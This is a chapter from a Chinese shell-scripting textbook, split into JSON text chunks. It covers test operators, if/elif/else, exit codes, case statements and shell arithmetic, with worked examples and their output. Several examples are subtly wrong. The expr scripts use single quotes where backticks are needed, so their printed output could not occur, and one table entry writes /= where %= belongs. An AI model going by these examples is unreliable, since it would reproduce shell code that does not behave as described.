    {"text": "如果相等，测试结果为0 number1 -ne number2 比较number1和number2是否不相等。 如果number1和number2不相等，测试结果为0 number1 -gt number2 比较number1是否大于number2。 如果number1大于number2，测试结果为0 number1 -lt number2 测试number1是否小于number2。 如果number1小于number2，测试结果为0 number1 -ge number2 测试number1是否大于等于number2。 如果number1大于等于number2，测试结果为0 number1 -le number2 测试number1是否小于等于number2。 如果number1小于等于number2，测试结果为0 在整数测试中，最简单的方法就是直接比较两个常数的大小，如下面的例子所示。"},
    {"text": "【 例4-5 】比较两个整数是否相等，命令如下： 01 # 比较整数 12 和 14 是否相等 02 [root@linux chapter4]# [ 12 -eq 14 ] 03 [root@linux chapter4]# echo $? 04 1 从上面的执行结果可以得知，12并不等于14。 【 例4-6 】比较两个整数的大小，命令如下： 01 # 比较 12 是否大于 14 02 [root@linux chapter4]# test 12 -gt 14 03 [root@linux chapter4]# echo $? 04 1 05 # 比较 12 是否小于 14 06 [root@linux chapter4]# test 12 -lt 14 07 [root@linux chapter4]# echo $? 08 0 从上面第4行的输出结果中可以得知，12并不大于14，因此-gt运算的结果为1；"},
    {"text": "【 例4-7 】比较变量与常数的大小，命令如下： 01 # 定义整数变量 $x 02 [root@linux chapter4]# x=365 03 # 比较变量 $x 的值是否等于 365 04 [root@linux chapter4]# test \"$x\" -eq 365 05 [root@linux chapter4]# echo $? 06 0 07 # 比较变量 $x 的值是否大于 364 08 [root@linux chapter4]# test \"$x\" -gt 364 09 [root@linux chapter4]# echo $? 10 0 从第6行可以得知，变量$x的值等于365；"},
    {"text": "在本例中，首先定义两个整数变量$x和$y，然后判断变量$x是否小于或者等于变量$y，代码如下： 01 # 定义变量 $x 02 [root@linux chapter4]# x=123 03 # 定义变量 $y 04 [root@linux chapter4]# y=36 05 # 判断 $x 是否小于或者等于 $y 06 [root@linux chapter4]# [ \"$x\" -le \"$y\" ] 07 [root@linux chapter4]# echo $? 08 1 从上面第8行的执行结果可以得知，第6行的表达式所表示的条件为假。"},
    {"text": "但是，由于受到其他程序设计语言的影响，初学者可能会使用字符串运算符中的“=”和“!=”来进行整数比较，下面的例子就说明了这种情况。 【 例4-9 】使用“=”比较两个整数会导致错误结果，命令如下： 01 # 使用“ = ”运算符比较 2 个整数 02 [root@linux chapter4]# [ 12 = 13 ] 03 [root@linux chapter4]# echo $? 04 1 05 # 使用 -eq 运算符比较 2 个整数 06 [root@linux chapter4]# [ 12 -eq 13 ] 07 [root@linux chapter4]# echo $? 08 1 在上面的例子中，尽管两次比较的结果都是1，表示这两个值不相等。"},
    {"text": "其中，第2行的比较实际上是将这两个整数作为字符串来比较的，因此，相当于以下运算： [root@linux chapter4]# [ \"12\" = \"13\" ] 而第6行则是真正地将12和13作为整数值来比较。"},
    {"text": "如果使用了非整数，则会出错，如【例4-10】所示，代码如下： 01 # 为变量 $x 赋一个小数值 02 [root@linux chapter4]# x=12.3 03 [root@linux chapter4]# y=12 04 [root@linux chapter4]# [ \"$x\" -gt \"$y\" ] 05 # 给出错误提示 06 -bash: [: 12.3: integer expression expected 上面例子的第6行给出了错误信息，提示用户需要整数表达式。"},
    {"text": "如果文件file存在，则结果为0 -b file 文件是否存在，且为块文件。 如果文件file是一个已经存在的块文件，则结果为0 -c file 文件是否存在，且为字符文件。 如果file是一个已经存在的字符文件，则结果为0 -d file 文件是否存在，且为目录。 如果文件file是一个已经存在的目录，则结果为0 -e file 同-a操作符 -s file 文件的长度是否大于0或者文件为非空文件。 如果file是一个非空文件，则结果为0 -f file 文件存在，并且为常规文件。 如果file是一个已经存在的常规文件，则结果为0 -w file 文件是否存在且可写。 如果文件file是一个可写文件则结果为0 -L file 文件是否存在，并且为符号链接。 如果文件file是一个已经存在的符号链接，则结果为0 -u file 文件是否设置suid位。 如果文件file已经设置了suid位，则结果为0 -r file 文件是否存在，并且可读。 如果文件file是一个已经存在的可读文件，则结果为0 -x file 文件是否存在，并且可执行。 如果文件file是一个已经存在的可执行文件，则结果为0 从表4-3中可以看出，文件操作符的功能主要有3个方面，分别是检测文件是否存在、文件的类型，以及文件的访问权限。"},
    {"text": "[root@linux chapter4]# ll total 12 drwxr-xr-x 2 root root 4096 Nov 9 14:50 dir1 -rw-r--r-- 1 root root 12 Nov 9 14:49 file1 -rw-r--r-- 1 root root 0 Nov 9 14:49 file2 -rwxr-xr-x 1 root root 30 Nov 9 15:06 hello.sh 从上面的执行结果可以得知，当前目录中包含一个目录、两个常规文件，以及一个可执行文件。"},
    {"text": "【 例4-11 】通过文件操作符来判断文件是否存在，代码如下： 01 [root@linux chapter4]# test -a file1 02 [root@linux chapter4]# echo $? 03 0 在上面的代码中，第1行使用test命令配合-a操作符来判断名称为file1的文件是否存在。"},
    {"text": "在本例中，我们指定一个不存在的文件，以验证操作符能否返回正确的值，代码如下： 01 [root@linux chapter4]# [ -a file3 ] 02 [root@linux chapter4]# echo $? 03 1 从上面的执行结果可以得知，由于当前目录中并不存在名称为file3的文件，所以第3行的输出结果为1。"},
    {"text": "【 例4-13 】通过操作符判断各种文件类型，代码如下： 01 # 判断文件 dir1 是否为目录 02 [root@linux chapter4]# test -d dir1 03 [root@linux chapter4]# echo $? 04 0 05 # 判断文件 file1 是否为常规文件 06 [root@linux chapter4]# test -f file1 07 [root@linux chapter4]# echo $? 08 0 09 # 判断 file2 是否为非空文件 10 [root@linux chapter4]# test -s file2 11 [root@linux chapter4]# echo $? 12 1 13 # 判断 file1 是否为块文件 14 [root@linux chapter4]# test -b file1 15 [root@linux chapter4]# echo $? 16 1 17 # 判断 /dev/sda 是否为块文件 18 [root@linux chapter4]# test -b /dev/sda 19 [root@linux chapter4]# echo $? 20 0 21 # 判断 /dev/tty 是否为字符文件 22 [root@linux chapter4]# test -c /dev/tty 23 [root@linux chapter4]# echo $? 24 0 在上面的代码中，第2行使用-d操作符判断指定的文件是否为目录，由于dir1是一个已经存在的目录，所以该操作符的执行结果为0。"},
    {"text": "第6行使用-f操作符判断指定的文件是否为常规文件，由于file1是一个普通的文件，所以该操作符的执行结果为0。 第10行使用-s操作符判断指定的文件是否为非空文件，由于file2是一个0字节的文件，所以该操作符的执行结果为1。 第14行使用-b操作符判断指定的文件是否为块文件，由于file1是一个常规文件，所以该操作符的执行结果为1；"},
    {"text": "在Linux中，文件的访问主要包括读、写、执行，以及是否设置用户ID（setuid）和组ID（setgid）标志等。 【 例4-14 】通过文件测试判断用户对文件的访问权限，代码如下： 01 # 判断文件 file1 是否可写 02 [root@linux chapter4]# test -w file1 03 [root@linux chapter4]# echo $? 04 0 05 # 判断文件 file1 是否可读 06 [root@linux chapter4]# test -r file1 07 [root@linux chapter4]# echo $? 08 0 09 # 判断文件 file1 是否可执行 10 [root@linux chapter4]# test -x file1 11 [root@linux chapter4]# echo $? 12 1 13 # 判断文件 hello.sh 是否可执行 14 [root@linux chapter4]# test -x hello.sh 15 [root@linux chapter4]# echo $? 16 0 在上面的命令中，第2行使用-w操作符判断当前用户对于指定的文件file1是否拥有写入的权限。"},
    {"text": "由于文件file1的权限为-rw-r--r--，所有者拥有写入的权限，所以该操作符的执行结果为0。 第6行是用-r操作符来判断当前用户是否拥有对于文件file1的读取权限，从上面的文件权限中可以得知，所有的用户都拥有读取权限，所以该操作符的执行结果为0。 第10行使用-x操作符判断当前用户是否拥有文件file1的执行权限，从上面的权限中可以得知，任何用户都没有执行该文件的权限，所以该操作符的执行结果为1； 而文件hello.sh的权限为-rwxr-xr-x，这意味着所有的用户都拥有执行该文件的权限，所以第14行中的-x操作符的执行结果为0。"},
    {"text": "【 例4-15 】使用chmod命令为hello.sh文件设置setuid权限，这样的话，执行该文件的用户就会临时拥有该文件所有者所拥有的权限。 命令如下： 01 [root@linux chapter4]# chmod u+s hello.sh 02 [root@linux chapter4]# ll 03 total 12 04 drwxr-xr-x 2 root root 4096 Nov 9 14:50 dir1 05 -rw-r--r-- 1 root root 12 Nov 9 14:49 file1 06 -rw-r--r-- 1 root root 0 Nov 9 14:49 file2 07 -rwsr-xr-x 1 root root 30 Nov 9 15:06 hello.sh 08 [root@linux chapter4]# test -u hello.sh 09 [root@linux chapter4]# echo $? 10 0 第1行使用chmod命令的u+s选项为hello.sh文件设置了setuid权限。"},
    {"text": "注意： 除了表4-3列出的文件操作符之外，还有其他一些文件操作符，例如-nt表示某个指定的文件修改时间是否比另外一个文件晚，-ot表示某个指定的文件的修改时间是否比另外一个文件早。"},
    {"text": "表4-4 常用的逻辑操作符 操 作 符 说 明 ! expression 逻辑非，条件表达式expression的值为假，则该操作符的运算结果为真 expression1 -a expresion2 逻辑与，条件表达式expression1和expression2的值都是真时，整个表达式的值才为真 expression1 -o expression2 逻辑或，条件表达式expression1或者expression2的值有一个为真时，整个表达式的值就为真 在表4-4中，一共列出了3个逻辑操作符，分别为逻辑非、逻辑与和逻辑或。"},
    {"text": "因此，如果条件表达式expression的值为真的话，则应用“!”操作符之后，整个表达式的值就为假，反之亦然。 逻辑与使用“-a”表示，连接两个条件表达式，只有expression1和expression2的值都为真时，整个表达式的值才为真。 逻辑或使用“-o”表示，同样连接两个条件表达式，但是与逻辑与不同之处在于，只要expression1和expression2中有一个条件为真，整个表达式的值就为真。 正因为逻辑与和逻辑或有上述特点，所以Shell在处理逻辑操作符时，不一定会将整个表达式中的各个条件都计算完成才会得到整个表达式的值。 在逻辑与中，如果第一个表达式expression1的值为假，则无论expression2的值是否为假，整个表达式的值必定为假，因此，就无需再去计算expression2的值； 在逻辑或中，如果第一个表达式expression1的值为真，则整个表达式的值必定为真，此时也无需计算expression2的值。"},
    {"text": "【 例4-16 】判断整数变量$a的值是否大于20，并且小于60，代码如下： 01 # 定义变量 $a 02 [root@linux chapter4]# a=35 03 [root@linux chapter4]# test \"$a\" -gt 20 -a \"$a\" -lt 60 04 [root@linux chapter4]# echo $? 05 0 从第5行的输出结果中，可以得知整个表达式的值为真。"},
    {"text": "【 例4-17 】通过条件测试来判断当前用户是否拥有某个文件的写入权限，代码如下： 01 [root@linux chapter4]# [ -e file1 -a -w file1 ] 02 [root@linux chapter4]# echo $? 03 0 在上面的代码中，第1行使用-e操作符和-w操作符，分别判断文件file1是否存在和可写，然后使用-a操作符将这两个条件连接起来。"},
    {"text": "4.2.1 使用简单的if语句进行条件判断 条件判断语句使用if语句来实现。 最简单的if语句的语法如下： if expression then statement1 statement2 ... fi 在上面的语法中，expression通常代表一个条件表达式，但是也可以是Shell命令。"},
    {"text": "【 例4-18 】通过条件测试判断文件类型，代码如下： 01 #-----------------------------/chapter4/ex4-18.sh------------------ 02 #! /bin/sh 03 # 使用条件测试判断 /bin/bash 是否是一个常规文件 04 if [ -f /bin/bash ] 05 then echo \"/bin/bash is a file\" 06 fi 上面的例子非常简单，其中，第4行通过if语句判断/bin/bash是否是一个常规文件。"},
    {"text": "该程序的执行结果如下： [root@linux chapter4]# ./ex4-18.sh /bin/bash is a file 从上面的执行结果可以得知，/bin/bash是一个已经存在的常规文件。"},
    {"text": "【 例4-19 】通过条件测试判断文件是否创建成功，代码如下： 01 #-----------------------------/chapter4/ex4-19.sh------------------ 02 #! /bin/sh 03 # 通过 echo 命令和重定向创建一个文件 04 echo \"hello world!\" > ./msg.log 05 if [ -f ./msg.log ]; then echo \"file has been created.\"; fi 第4行通过echo命令结合重定向操作符在当前目录中创建了一个名称为msg.log的文本文件。"},
    {"text": "以上程序的执行结果如下： [root@linux chapter4]# ./ex4-19.sh file has been crreated. 注意： 在if语句中，如果使用条件测试，可以使用test命令，也可以使用方括号[]。"},
    {"text": "当然，在实际的应用场合，当检测到文件没有创建成功或者不存在的时候，会执行重新创建或者输出错误信息的有关代码，而在上面的例子中，我们只是简单地输出提示信息。"},
    {"text": "【 例4-20 】使用空命令作为判断条件，代码如下： 01 #-----------------------------/chapter4/ex4-20.sh------------------ 02 #! /bin/sh 03 # 使用空命令作为条件 04 if :; then echo \"always true\"; fi 由于空命令“:”的退出状态永远是0，所以以上程序的输出结果永远如下： [root@linux chapter4]# ./ex4-20.sh alway true. 在实际的编程中，有人喜欢使用&&操作符来代替if语句，如下面的例子所示。 【 例4-21 】使用&&操作符代替if语句，代码如下： 01 #-----------------------------/chapter4/ex4-21.sh------------------ 02 #! /bin/sh 03 # 使用 && 操作符代替 if 语句 04 test \"$(whoami)\" != \"root\" && (echo you are using a non-privileged account; exit 1) 上面代码的第4行是一个比较复杂的语句。"},
    {"text": "如果条件为真，则执行&&后面括号中的语句，即输出一行提示信息，然后通过exit语句退出程序。 如果以root用户的身份执行【例4-21】，则没任何输出，如下： [root@linux chapter4]# ./ex4-21.sh 而当我们切换到其他用户再执行该程序时，则会输出有关提示信息，如下： [root@linux chapter4]# su - chunxiao [chunxiao@linux ~]$ ./ex4-21.sh you are using a non-privileged account 注意： 在使用if语句的时候，一定不要漏掉最后的结束标志fi。 否则会出现以下错误： [root@linux chapter4]# ./ex4-21.sh ./ex4-21.sh: line 7: syntax error: unexpected end of file 4.2.2 使用if else语句进行流程控制 尽管简单的if语句的功能已经非常强大，但是在绝大部分的情况下，我们需要面对的不止一种情况。"},
    {"text": "if else语句的基本语法如下： if expression then statement1 statement2 … else statement3 statement4 … fi 在上面的语法中，expression表示if语句的执行条件，可以是条件表达式或者一个Shell命令。"},
    {"text": "如果expression的值为真，则执行then子句中的语句statement1、statement2……。 如果expression的值为假，则执行else子句中的语句，包括statement3、statement4……，最后通过fi关键字结束整个if代码块。"},
    {"text": "【 例4-22 】说明if else语句的使用方法，代码如下： 01 #-----------------------------/chapter4/ex4-22.sh------------------ 02 #! /bin/sh 03 04 # 输出提示信息 05 echo \"Please enter a number:\" 06 # 从键盘读取用户输入的数字 07 read num 08 # 如果用户输入的数字大于 10 09 if [ \"$num\" -gt 10 ]; then 10 # 输出大于 10 的提示信息 11 echo \"The number is greater than 10.\" 12 # 否则 13 else 14 # 输出小于或者等于 10 的提示信息 15 echo \"The number is equal to or less than 10.\" 16 fi 在上面的代码中，第5行输出要求用户输入数字的提示信息。"},
    {"text": "以上代码的执行结果如下： 01 [root@linux chapter4]# ./ex4-22.sh 02 Please enter a number: 03 6 04 The number is equal to or less than 10. 05 [root@linux chapter4]# ./ex4-22.sh 06 Please enter a number: 07 12 08 The number is greater than 10. 在上面的命令执行的过程中，第3行输入数字6，第4行则输出用户输入的数字小于或者等于10的提示信息。"},
    {"text": "【 例4-23 】演示如何通过if else语句根据学生的百分制成绩来输出五分制成绩，代码如下： 01 #-----------------------------/chapter4/ex4-23.sh------------------ 02 #! /bin/sh. 03 04 # 输出提示信息 05 echo \"Please enter a score:\" 06 # 读取用户输入数据 07 read score 08 # 如果用户没有输入数据，则提示用户重新输入 09 if [ -z \"$score\" ]; then 10 echo \"You enter nothing.Please enter a score:\" 11 read score 12 else 13 # 如果用户输入的数据不对，则重新输入 14 if [ \"$score\" -lt 0 -o \"$score\" -gt 100 ]; then 15 echo \"The score should be between 0 and 100.Please enter again:\" 16 read score 17 else 18 # 输出级别 A 19 if [ \"$score\" -ge 90 ]; then 20 echo \"The grade is A.\" 21 else 22 # 输出级别 B 23 if [ \"$score\" -ge 80 ]; then 24 echo \"The grade is B.\" 25 else 26 # 输出级别 C 27 if [ \"$score\" -ge 70 ]; then 28 echo \"The grade is C.\" 29 else 30 # 输出级别 D 31 if [ \"$score\" -ge 60 ]; then 32 echo \"The grade is D.\" 33 else 34 # 输出级别 E 35 echo \"The grade is E.\" 36 fi 37 fi 38 fi 39 fi 40 fi 在上面的例子中，程序将用户输入的成绩分成A～E共5个等级。 以上程序的执行结果如下： [root@linux chapter4]# ./ex4-23.sh Please enter a score: 12 The grade is E. [root@linux chapter4]# ./ex4-23.sh Please enter a score: 98 The grade is A. [root@linux chapter4]# ./ex4-23.sh Please enter a score: 77 The grade is C. 在前面的例子中，我们分别列举了简单的if else和两层嵌套的if else结构的使用方法。"},
    {"text": "尽管这种方法可以很好地处理多个分支的情况，但是读者可能会发现一个非常严重的问题，那就是整个程序的条理看起来很不清楚，经常会出现漏掉fi的情况。"},
    {"text": "if elif语句的基本语法如下： if expression1 then statement1 statement2 … elif expression2 then statement3 statement4 … elif expression3 then statement5 statement6 … else statementn .. fi 在上面的语法中，expression1表示整个if elfi语句结构中的第1个条件表达式，如果该条件表达式的值为真，则执行第1个then子句中的语句statement1及statement2等；"},
    {"text": "【 例4-24 】本例对【例4-23】进行改进，使得该程序的可读性更强，代码如下： 01 #-----------------------------/chapter4/ex4-24.sh------------------ 02 #! /bin/sh 03 04 echo \"Please enter a score:\" 05 06 read score 07 08 if [ -z \"$score\" ]; then 09 echo \"You enter nothing.Please enter a score:\" 10 read score 11 else 12 if [ \"$score\" -lt 0 -o \"$score\" -gt 100 ]; then 13 echo \"The score should be between 0 and 100.Please enter again:\" 14 read score 15 else 16 # 如果成绩大于 90 17 if [ \"$score\" -ge 90 ]; then 18 echo \"The grade is A.\" 19 # 如果成绩大于 80 且小于 90 20 elif [ \"$score\" -ge 80 ]; then 21 echo \"The grade is B.\" 22 # 如果成绩大于 70 且小于 80 23 elif [ \"$score\" -ge 70 ]; then 24 echo \"The grade is C.\" 25 # 如果成绩大于 60 且小于 70 26 elif [ \"$score\" -ge 60 ]; then 27 echo \"The grade is D.\" 28 # 如果成绩小于 60 29 else 30 echo \"The grade is E.\" 31 fi 32 fi 33 fi 在上面的程序中，我们用一个if elif语句来代替多层嵌套的if else语句，从而使得整个程序的可读性大大增强。"},
    {"text": "exit语句的基本作用是终止Shell程序的执行。 除此之外，exit语句还可以带一个可选的参数，用来指定程序退出时的状态码。 exit语句的基本语法如下： exit status 其中，status参数表示退出状态，该参数是一个整数值，其取值范围为0～255。"},
    {"text": "如果没有参数给exit语句，则脚本的退出状态码就由脚本中最后执行的语句来决定，也就是由exit语句之前的那条语句的执行状态来决定。 【 例4-25 】演示在不同的情况下，程序返回不同的状态码，代码如下： 01 #-----------------------------/chapter4/ex4-25.sh------------------ 02 #! /bin/sh 03 04 # 使用 echo 语句输出字符串 05 echo hello world! 06 07 # 使用 $? 变量获取 echo 语句的执行状态 08 echo $? 09 10 # 执行一个无效的命令 11 aaa 12 # 输出执行状态 13 echo $? 14 15 # 退出 16 exit 120 在上面的代码中，第5行使用echo语句输出一个字符串。"},
    {"text": "该程序的执行结果如下： 01 [root@linux chapter4]# ./ex4-25.sh 02 hello world! 03 0 04 ./ex4-25.sh: line 11: aaa: command not found 05 127 其中，执行结果第3行输出的是代码中第5行的echo语句的退出状态。"},
    {"text": "执行结果第5行的127是代码中第11行的无效命令的执行状态，我们可以发现，成功执行的语句的退出状态为0，而执行错误的语句的退出状态为非0。"},
    {"text": "因为代码中的最后一行的exit语句执行后整个程序就退出了，所以没有输出状态码，我们可以在Shell中通过以下命令获取： [root@linux chapter4]# echo $? 120 从上面的执行结果可以发现，ex4-25.sh这个脚本的退出状态码为120。"},
    {"text": "注意： 尽管用户可以在程序中设置自己的退出状态码，但是通常情况下每个状态码都有特定的涵义，因此在返回这些状态码的时候一定要注意，避免执行脚本时产生误解。"},
    {"text": "通常情况下，exit语句与if语句相互配合可以更灵活地控制程序的流程，请参考下面的例子。 【 例4-26 】使用if和exit语句，使得程序在适当的时候退出。"},
    {"text": "代码如下： 01 #-----------------------------/chapter4/ex4-26.sh------------------ 02 #! /bin/sh 03 04 # 如果文件已经存在，则直接退出 05 if [ -e \"$1\" ] 06 then 07 echo \"file $1 exists.\" 08 exit 1 09 # 如果文件不存在，则创建文件 10 else 11 touch \"$1\" 12 echo \"file $1 has been created.\" 13 exit 0 14 fi 在上面的代码中，第5行判断用户输入的文件名是否存在，如果已经存在，则通过第7行输出提示信息，第8行通过exit语句退出程序，并且设置退出状态码为1； 如果文件不存在，则通过第11行创建指定的文件，第12行输出提示信息，第13行通过exit语句退出程序，并且设置退出状态码为0。 该程序的执行结果如下： [root@linux chapter4]# ./ex4-26.sh /bin/ls file /bin/ls exists. [root@linux chapter4]# echo $? 1 [root@linux chapter4]# ./ex4-26.sh ./demo.txt file ./demo.txt has been created. [root@linux chapter4]# echo $? 0 从上面的执行结果可以得知，当指定的文件存在时，程序的退出状态码为1； 当指定的文件不存在的时候，程序的退出状态码为0。"},
    {"text": "4.3.1 多条件判断语句case的基本语法 case语句的基本语法如下： case variable in value 1 ) statement 1 statement 2 ... statement n ;; value 2 ) statement 1 statement 2 ... statement n ;; value 3 ) statement 1 statement 2 ... statement n ;; ... value n ) statement 1 statement 2 ... statement n ;; *) statement 1 statement 2 ... statement n ;; esac 在上面的语法中，variable是一个变量，case语句会将该变量的值与value 1 ～value n 中的每个值相比较，如果与某个value的值相等，则执行该value所对应的一组语句。"},
    {"text": "4.3.2 利用case语句处理选项参数 使用case语句来处理选项参数在Shell中非常普遍，尤其是/etc/init.d目录中服务脚本，几乎都含有一个或者多个case语句。"},
    {"text": "例如，下面给出的是Java应用服务器Resin的一个服务脚本的部分代码： … 01 case \"$1\" in 02 # 启动服务 03 start) 04 log_daemon_msg \"Starting resin\" 05 # 如果变量 USER 不为空，则切换到 USER 身份，启动 Resin 服务 06 if test -n \"$USER\"; then 07 su $USER -c \"\"\"$RESIN_EXE $ARGS $START_ARGS $START_CMD\"\"\" 1>> $CONSOLE 2>> $CONSOLE 08 else 09 # 输出错误 10 errors='$RESIN_EXE $ARGS $START_CMD 2>&1' 11 if [ $? != 0 ]; then 12 log_daemon_msg $errors 13 fi 14 fi 15 16 log_end_msg $? 17 ;; 18 # 停止服务 19 stop) 20 log_daemon_msg \"Stopping resin\" 21 if test -n \"$USER\"; then 22 su $USER -c \"\"\"$RESIN_EXE $ARGS shutdown\"\"\" 1>> $CONSOLE 2>> $CONSOLE 23 else 24 errors='$RESIN_EXE $ARGS shutdown 2>&1' 25 if [ $? != 0 ]; then 26 log_daemon_msg $errors 27 fi 28 fi 29 30 log_end_msg $? 31 ;; 32 # 查看服务状态 33 status) 34 $RESIN_EXE $ARGS status || exit 3 35 ;; 36 # 重新启动服务 37 restart) 38 $0 stop 39 $0 start 40 ;; 41 # 其他情况 42 *) 43 echo \"Usage: $0 {start|stop|status|restart}\" 44 exit 1 45 esac … 在上面的代码中，第1行通过系统变量$1接收用户执行命令时的参数，这些参数可以取4个值，分别是start、stop、status及restart，其涵义分别表示启动Resin服务、停止Resin服务、查看Resin服务状态，以及重新启动Resin服务。"},
    {"text": "例如，下面的命令启动Resin服务： [root@linux init.d]# /etc/init.d/resin start Starting resin: . 而以下命令查看Resin服务的状态： [root@linux init.d]# /etc/init.d/resin status Resin/4.0.30 status for watchdog at 127.0.0.1:6600 watchdog: watchdog-pid: 22583 server 'app-0' : ACTIVE password: missing watchdog-user: root user: resin(resin) root: /var/resin conf: /etc/resin/resin.xml uptime: 0 days 00h00 以下命令停止Resin服务： [root@linux init.d]# /etc/init.d/resin stop Stopping resin: . 注意： 在适当的时候使用case语句可以提高程序的可读性。"},
    {"text": "4.3.3 利用case语句处理用户输入 除了处理参数之外，使用case语句还可以处理用户多种不同的输入，从而根据不同的数据执行不同的代码，请参见下面的例子。 【 例4-27 】说明case语句的使用方法，代码如下： 01 #-----------------------------/chapter4/ex4-27.sh------------------ 02 #! /bin/sh 03 04 # 输出提示信息 05 echo \"Hit a key,then hit return.\" 06 # 读取用户按下的键 07 read keypress 08 #case 语句开始 09 case \"$keypress\" in 10 # 小写字母 11 [[:lower:]]) 12 echo \"Lowercase letter.\";; 13 # 大写字母 14 [[:upper:]]) 15 echo \"Uppercase letter.\";; 16 # 单个数字 17 [0-9]) 18 echo \"Digit.\";; 19 # 其他字符 20 *) 21 echo \"other letter.\";; 22 esac 在上面的代码中，第7行读取用户按下的键；"},
    {"text": "第11行测试变量keypress对应的键值是否是小写字母，如果是小写字母，则输出相应的提示； 第14行测试变量keypress的对应的键值是否是大写字母； 第17行测试变量keypress对应的键值是否是0～9之间的数字；"},
    {"text": "该程序的执行结果如下： 01 [root@linux chapter4]# ./ex4-27.sh 02 Hit a key,then hit return. 03 a 04 Lowercase letter. 05 [root@linux chapter4]# ./ex4-27.sh 06 Hit a key,then hit return. 07 B 08 Uppercase letter. 09 [root@linux chapter4]# ./ex4-27.sh 10 Hit a key,then hit return. 11 8 12 Digit. 13 [root@linux chapter4]# ./ex4-27.sh 14 Hit a key,then hit return. 15 ? 16 other letter. 在第3行中，输入了一个小写字母a，第7行输入了一个大写字母B，第11行输入一个数字8，第15行输入一个问号。"},
    {"text": "除了这些运算符之外，还有其他的与数值有关的运算符，例如算术运算符、位运算符，以及自增/自减运算符等，本节将介绍这些运算符的使用方法。 4.4.1 算术运算符 与其他的程序设计语言一样，Shell中的算术运算符也主要包括加（+）、减（-）、乘（*）、除（/）、求余（%），以及幂运算（**）等。"},
    {"text": "表4-5 常用算术运算符及其用法 运算符 说 明 举 例 + 求2个数的和 例如1+5是求1和5的和 - 求2个数的差 例如9-3是求9和3的差 * 求2个数的乘积 例如2*4是求2和4的乘积 / 求2个数的商 例如28/4是求28除以4的商 % 求余 例如23%4是求23除以4后的余数，即3 ** 幂运算 例如3**3是求33的值，即27 1．使用expr外部程序 expr是一个Shell命令，可以计算某个表达式的值，其基本语法如下： expr expression 其中，expression是要计算的表达式。 【 例4-28 】演示使用expr命令来计算不同的算术运算，代码如下： 01 #-----------------------------/chapter4/ex4-28.sh------------------ 02 #! /bin/sh 03 04 # 计算 2 和 100 的差，即 -98 05 result='expr 2 - 100' 06 echo \"$result\" 07 # 计算 2 和 100 的和，即 102 08 result='expr 2 + 100' 09 echo \"$result\" 10 # 计算 2 和 5 的乘积，即 10 11 result='expr 2 \\* 5' 12 echo \"$result\" 13 # 计算 24 和 8 的商，即 3 14 result='expr 24 / 8' 15 echo \"$result\" 16 # 先计算 2 和 6 的差，然后再乘以 12 ，即 -48 17 result='expr \\( 2 - 6 \\) \\* 12' 18 echo \"$result\" 19 # 错误的语法 20 result='expr 2+5' 21 echo \"$result\" 22 # 错误的语法 23 result='expr 2-4*9' 24 echo \"$result\" 25 # 错误的语法 26 result='expr 1-(4-7)' 27 echo \"$result\" 在上面的代码中，我们使用单反引号“'”将expr和算术表达式引起来。"},
    {"text": "该程序的执行结果如下： 01 [root@linux chapter4]# ./ex4-28.sh 02 -98 03 102 04 10 05 3 06 -48 07 2+5 08 2-4*9 09 ./ex4-28.sh: command substitution: line 26: syntax error near unexpected token '(' 10 ./ex4-28.sh: command substitution: line 26: 'expr 1-(4-7)' 在上面的执行结果中，第2行是第5行代码的计算结果，第3行是代码第8行的计算结果，第4行代码是第11行的计算结果，第5行是代码第14行的计算结果，第6行是第17行的计算结果。"},
    {"text": "2．使用$((…)) 使用这种形式来进行算术运算写法比较自由，无需对运算符和括号做转义处理，可以采用松散或者紧凑的格式来书写表达式。 【 例4-29 】演示如何使用$((..))符号进行算术运算，代码如下： 01 #-----------------------------/chapter4/ex4-29.sh------------------ 02 #! /bin/sh 03 04 # 紧凑格式，计算 3 和 6 的和 05 result=$((3+6)) 06 echo \"$result\" 07 # 松散格式，计算 3 和 9 的和 08 result=$(( 3 + 9 )) 09 echo \"$result\" 10 # 计算 3 和 6 的乘积 11 reuslt=$(( 3 * 6 )) 12 echo \"$result\" 13 # 计算 7 和 5 的商 14 result=$(( 7 / 5 )) 15 echo \"$result\" 16 # 计算 8 和 3 的余数 17 result=$(( 8 % 3 )) 18 echo \"$result\" 19 # 复合运算 20 result=$(( ( 1-4 ) * 5 )) 21 echo \"$result\" 在上面的代码中，第5行采用紧凑格式来书写算术表达式，即运算符左右没有空格；"},
    {"text": "该程序的执行结果如下： [root@linux chapter4]# ./ex4-29.sh 9 12 12 1 2 -15 从上面的执行结果可以得知，使用$((…))来执行算术运算非常灵活。"},
    {"text": "3．使用$[…] 使用一个方括号同样可以执行算术运算，这种语法的特点与使用两个圆括号相同，无论是采用紧凑格式还是松散格式，都可以得到正确的结果。"},
    {"text": "【 例4-30 】演示如何使用方括号来进行算术运算，代码如下： 01 #-----------------------------/chapter4/ex4-30.sh------------------ 02 #! /bin/sh 03 04 # 加法运算 05 result=$[4+5] 06 echo \"$result\" 07 # 复合运算 08 result=$[(1+2)*3] 09 echo \"$result\" 10 # 幂运算 11 result=$[ 2 ** 4 ] 12 echo \"$result\" 以上程序的执行结果如下： [root@linux chapter4]# ./ex4-30.sh 9 9 16 4．使用let命令 使用let命令可以执行一个或者多个算术表达式，其中的变量名无需使用$符号。"},
    {"text": "【 例4-31 】演示使用let命令来执行算术运算，代码如下： 01 #-----------------------------/chapter4/ex4-31.sh------------------ 02 #! /bin/sh 03 04 # 定义变量 05 n=10 06 # 加法运算 07 let n=n+1 08 echo \"$n\" 09 # 乘法运算 10 let n=n*10 11 echo \"$n\" 12 # 幂运算 13 let n=n**2 14 echo \"$n\" 该程序的执行结果如下： [root@linux chapter4]# ./ex4-31.sh 11 110 12100 除了表4-5列出的运算符之外，还有一些复合算术运算符，如表4-6所示。 表4-6 复合算术运算符 运算符 说 明 举 例 += 将左边的数加上右边的数，然后再将和赋给左边的变量 例如，3 += 5等于8 -= 将左边的数减去右边的数，然后再将差赋给左边的变量 例如，5 -= 2等于3 *= 将左边的数乘以右边的数，然后将积赋给左边的变量 例如，2 *= 8等于16 /= 将左边的数除以右边的数，然后再将商赋给左边的变量 例如，6 /= 3等于2 %= 将左边的数对右边的数求模之后，再赋给左边的变量 例如，22 /= 3等于1 关于这些运算符的使用方法，不再详细说明。"},
